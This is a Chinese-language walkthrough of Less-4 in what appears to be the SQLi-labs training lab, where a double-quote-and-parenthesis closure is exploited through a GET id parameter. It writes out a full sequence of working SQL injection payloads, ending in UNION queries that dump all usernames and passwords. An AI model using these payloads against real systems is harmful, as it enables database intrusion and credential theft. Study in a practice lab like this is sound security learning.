Less-4(GET-Error based-Double Quotes-string)
打開Less-4頁面,可以看到頁面中間有一句Please input the ID as parameter with numeric value,那么先使用ID這個引數通過GET方式傳入一個數值,

確定注入點
注入陳述句:?id=1,

可以看出傳入id=1可以正常回顯,那么試一下?id=1',發現也是可以正常回顯的,

接著嘗試拼接?id=1",發現在雙引號附近產生歧義導致了報錯,

并且從上圖報錯中可以看出這條SQL陳述句的閉合方式為"),那么使用注入陳述句:?id=1") --+,看看是否能夠正常閉合并注釋,從下圖看出是沒有問題的,

接著嘗試注入陳述句?id=1") and 1=1 --+和?id=1") and 1=2 --+,發現注入第一條陳述句時正常回顯,注入第二條陳述句時沒有回顯,由此判斷存在注入點,

判斷資料表列數
通過order by判斷該表的欄位數量(order by陳述句用于根據指定的列對結果集進行排序),URL后面拼接?id=1") order by 1 --+看是否報錯:

當嘗試到?id=1") order by 4 --+時,出現了報錯,由此可以判斷該表只有3列,

確定回顯欄位
注入陳述句:?id=1") and 1=2 union select 1,2,3 --+

這里使用and 1=2是為了讓union之前的陳述句為假,從而不回顯在前端頁面,這樣結合union之后的陳述句就可以通過前端頁面的回顯知道前端頁面顯示的是資料表的第幾列,
確定當前資料庫名和用戶
從上圖中可以看出該資料表的第二列和第三列會回顯在前端頁面上,這樣就可以通過資料庫自帶的函式:user()(查看當前用戶)、database()(查看當前資料庫)、version()(查看資料庫版本)等替換2和3,注入得出連接資料庫用戶以及資料庫名稱,
注入陳述句:?id=1") and 1=2 union select 1,database(),user() --+

通過上述注入可以得知,當前資料庫名為security,當前用戶為root,
確定當前資料庫內表名
注入陳述句:?id=1") and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

通過上述注入可以得知當前資料庫中存在emails、referers、uagents、users四張資料表,
確定users表中列名
注入陳述句:?id=1") and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+

通過上述注入可以得知users表中存在三列,分別為id、username、password,
確定users表中的用戶名和密碼
注入陳述句:?id=1") and 1=2 union select 1,group_concat(username),group_concat(password) from users --+

至此,就得到了當前表中所有的用戶名和密碼,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/504721.html
標籤:其他
